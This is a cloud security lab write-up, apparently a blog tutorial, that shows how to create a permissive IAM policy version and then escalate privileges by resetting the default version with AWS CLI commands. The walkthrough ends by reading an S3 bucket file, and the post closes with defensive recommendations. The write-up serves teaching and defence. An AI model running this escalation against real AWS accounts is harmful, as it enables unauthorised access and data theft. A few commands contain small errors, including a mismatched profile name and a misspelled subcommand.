This post explores a specific issue in AWS IAM—policy versioning. If not configured properly, it can be exploited by rolling back the default policy to an earlier, more permissive version. This allows a user to gain higher privileges than intended, highlighting the need for careful policy version management.

Table Of Contents

About IAM Policy Versioning

Lab Setup and Prerequisite

Part 1: IAM Lab Setup

• Creating Permissive Vuln_policy_version 1
• Creating Restricted Vuln_policy_version 4

Part 2: Enumeration and Exploitation

• Prerequisite for Pentest
• AWS CLI Setup & Policy Enumeration Using IAM User Credentials
• IAM Policy Versioning Exploitation

Analysis

Recommendations

Conclusion

About IAM Policy Versioning

When a customer-managed or AWS-managed policy is updated, IAM creates a new version instead of replacing the existing one. Up to five versions are supported for customer-managed policies. Inline policies, in contrast, are directly attached to a single user, group, or role, cannot be reused, and do not support versioning.

To set a policy’s default version, the required permissions correspond to the AWS API operations are CreatePolicyVersion or SetDefaultPolicyVersion. You can use either one

• The iam:CreatePolicyVersion action allows creating a new version and setting it as the default.
• The iam:SetDefaultPolicyVersion action allows setting any existing version as the default.

Granting these permissions enables users to change which version of a policy is active.

Lab Setup and Prerequisites

1. An AWS Account
2. VM Kali Linux

If you are new to AWS platform, it is recommended to go through the AWS Lab setup here,

Part 1: IAM Lab Setup

Here are the instructions for setting up the environment. We will access the AWS console and configure the AWS Command Line Interface (CLI).

User:

Igt_sanjeet

Policy name:

Vuln_policy_version

Creating Permissive Vuln_policy_version 1:

To set the default version of a customer managed policy

1. Firstly, Navigate to IAM > Policies > Create policy. Specify permissions on the Policy Editor.
2. Write a custom policy which grants the full administrative permissions and later it will be used as an escalation path.

• • Effect: Allow -> Grants permissions, not denying.
  • Action: “*” -> Allows all actions across all AWS services.
  • Resource: “*” -> Applies to all resources in the account.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

This is how the policy looks like on policy editor

3. On Review and create, add policy details such as policy name Vuln_policy_version and descriptions as shown

4. Then, go back on Policies under IAM and search for the created policy, it should appear under Policy name.

Creating Restricted Vuln_policy_version 4:

1. Firstly, click on the policy name, Vuln_policy_version to view its complete details. Under policy versions, default version 1 can be seen. Press Edit

2. Policy editor will again pop-up under Modify permissions in Vuln_policy_version. Write a custom policy which grants the restricted permissions.

• • iam:ListPolicyVersions – Lists all versions of a specified IAM policy.
  • iam:SetDefaultPolicyVersion – Sets a specific policy version as the default version.
  • iam:ListAttachedUserPolicies – Lists the managed policies attached to a specified IAM user.
  • iam:ListPolicies – Lists all IAM managed policies in your AWS account.
  • iam:GetPolicyVersion – Retrieves details about a specific version of an IAM policy.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:ListPolicyVersions",
                "iam:SetDefaultPolicyVersion",
                "iam:ListAttachedUserPolicies",
                "iam:ListPolicies",
                “iam:GetPolicyVersion”
            ],
            "Resource": "*"
        }
    ]
}

This is how the policy appears on Policy editor.

3. Then, Go to Policies, select Vuln_policy_version, and open the Policy versions tab. Check version v4 and click Set as default.

Here, it’s clearly written that whenever a policy is updated, a new version is created and customer can save up to 5 versions of customer managed policy.

 Note:

You can delete any managed policy version except the default. Version identifiers (e.g., v1, v2) remain unchanged, so they may not be in sequential order.

4. Go to IAM > Users > Create user. Enter the user details, then choose Attach policies directly under Set Permissions. Select Vuln_policy_version from the list, then click Next.

5. Finally, go to IAM > Users. select Igt_sanjeet and click Create access key. Now download the .csv file containing the Access Key ID and Secret Access Key. Keep these credentials secure.

Part 2: Enumeration and Exploitation

The Security Impact of Mismanaged Policy Versions

In real world scenario, mismanaged policy versions increase security risks by allowing outdated permissions to persist, which can lead to data breaches and compliance violations. Inadequate change control makes tracking changes and enforcing current, secure policies difficult.

Note:

To prevent a user from making changes to the default version of a policy, you must deny both iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion. AWS IAM Best Practices

Prerequisite for Pentest

• Pentest Machine: Kali Linux
• Test Credentials: Igt_sanjeet user’s Access Key + Secret + Region
• Tools: AWS-Cli (sudo apt install awscli)

AWS CLI Setup & Policy Enumeration Using IAM User Credentials

Configure AWS CLI profile with the Igt_sanjeet credentials. It prompts to enter AWS Access Key ID, AWS Secret Access Key, default region.

aws configure --profile Igt_sanjeet

Then, hit the ground running: the command confirms that user Igt_sanjeet has the Vuln_policy_version policy attached. Note the PolicyArn highlighted in the screenshot.

aws iam list-attached-user-policies --user-name Igt_sanjeet --profile Igt_sanjeet

Then, get all the versions of the Vuln_policy_version by the following command and the result clearly shows the version Id v1 and v4 with “v4” set as default

aws iam list-policy-versions --policy-arn $POLICY_ARN --profile Igt_sanjeet

Running this command brings the full details of a specific version of the IAM policy like the Policy version, creation date etc.

aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v4 --profile Igt_sanjeet

After running this command, note the output showing an overly permissive policy with wildcards (*) for both actions and resources, allowing all actions on all resources. A privilege escalation risk.

aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v1 --profile Igt_sanjeet

IAM Policy Version Exploitation

Now, run the command to list buckets

aws s3 ls --profile Igt_sanjeet

This action of ListBuckets will be denied as the user Igt_sanjeet is not authorized to perform this task.

Then, use the second command to set the more permissive policy version v1 as the default.

aws iam set-default-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v1 --profile Igt_sanjeet

Again, try to list buckets, and it’s a success this time as shown in the screenshot.

aws s3 ls --profile Igt_sanjeet

To make sure that the permissive Vuln_policy_version “v1” is been set as default, run the command as given and the result will confirm it.

aws iam list-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --profile Igt_sanjeet

List your bucket and here you can see text files in output.

aws s3 ls --profile Igt_raj

Then, Download the text file.

aws s3 cp s3://igt-bucket/proof.txt file_admin.txt

Display the contents of file.

cat file_admin.txt

Analysis

This lab demonstrates privilege escalation by setting a permissive policy version as default, granting full access without altering the original policy.The escalation vector was

Igt_sanjeet → Denied access to s3:ListBuckets → Sets overly permissive v1 as default → Retries s3 ls → Access granted → Privilege escalation achieved via default policy version abuse

Recommendations

• Restrict iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion to trusted admin roles only.
• Apply the principle of least privilege across all IAM policies.
• Monitor and alert on changes to IAM policy versions.
• Use SCPs to block creation or activation of overly permissive policies.
• Regularly audit and delete unused or outdated policy versions.

Conclusion

This lab successfully demonstrates default policy version abuse that can lead to silent privilege escalation. Strict permission boundaries and policy version monitoring are essential to prevent such exploitation.

Explore more hands-on cloud security labs and techniques in our Cloud Security Archive.

Author: Fatima Aziz is an accomplished cybersecurity professional with expertise in cloud security, holding certifications like GPCS and CCSK. Contact Fatima Aziz on LinkedIn